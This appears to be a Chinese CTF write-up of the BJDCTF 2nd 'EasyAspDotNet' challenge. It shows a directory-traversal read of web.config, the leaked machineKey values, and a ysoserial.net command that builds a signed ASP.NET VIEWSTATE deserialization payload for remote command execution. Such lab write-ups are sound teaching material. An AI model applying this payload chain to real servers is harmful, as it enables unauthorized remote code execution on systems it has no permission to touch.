WEB

BJDCTF 2nd EasyAspDotNet

Windows下的ASP.NET VIEWSTATE 反序列化攻擊

Posted by Elli0t on 2020-03-24

ASP.NET漏洞,第一次接触。不过在实际中Windows 的服务器和用 ASP.NET 编写的应用程序并不少(我们学校图书馆的网站)

知识点:

  • 任意文件读取
  • ASP.NET VIEWSTATE 反序列化有回显RCE
  • Windows命令基本操作

源代码中有VIEWSTATE等值

查看一下文件路径,判断有任意文件读取。

根据 uri 的 .aspx 后缀,目标读取 web.config 文件,构造目录穿越尝试读取文件成功。

查看 web.config 的内容,其中 machineKey 中的值均为固定值,根据上面那篇文章所述,这些值用来加密反序列化之后的 VIEWSTATE 等值。

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>

有了 VIEWSTATE 的加密密钥,我们就可以根据文章中的方法构造一个带回显的 VIEWSTATE Payload,来让服务器反序列化然后RCE。

https://github.com/pwntester/ysoserial.net/releases![](ysoserial.png)

其中的exp直接下载就好了:exp

1
C:\Users\Eli0t\Downloads\Release\ysoserial.exe -p VIewState -g ActivitySurrogateSelectorFromFile -c "./ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"

然后将得到的 Payload 放入 POST 的请求的 VIEWSTATE,再将命令写入 cmd,发送即可 RCE。


参考链接

https://www.zhaoj.in/read-6497.html
https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/
https://www.runoob.com/aspnet/aspnet-viewstate.htmlhttps://www.zhaoj.in/wp-content/uploads/2020/03/1584803371549254c06b2ddaa1222dcea21d5c31f2.zip
https://github.com/pwntester/ysoserial.net/releases
https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/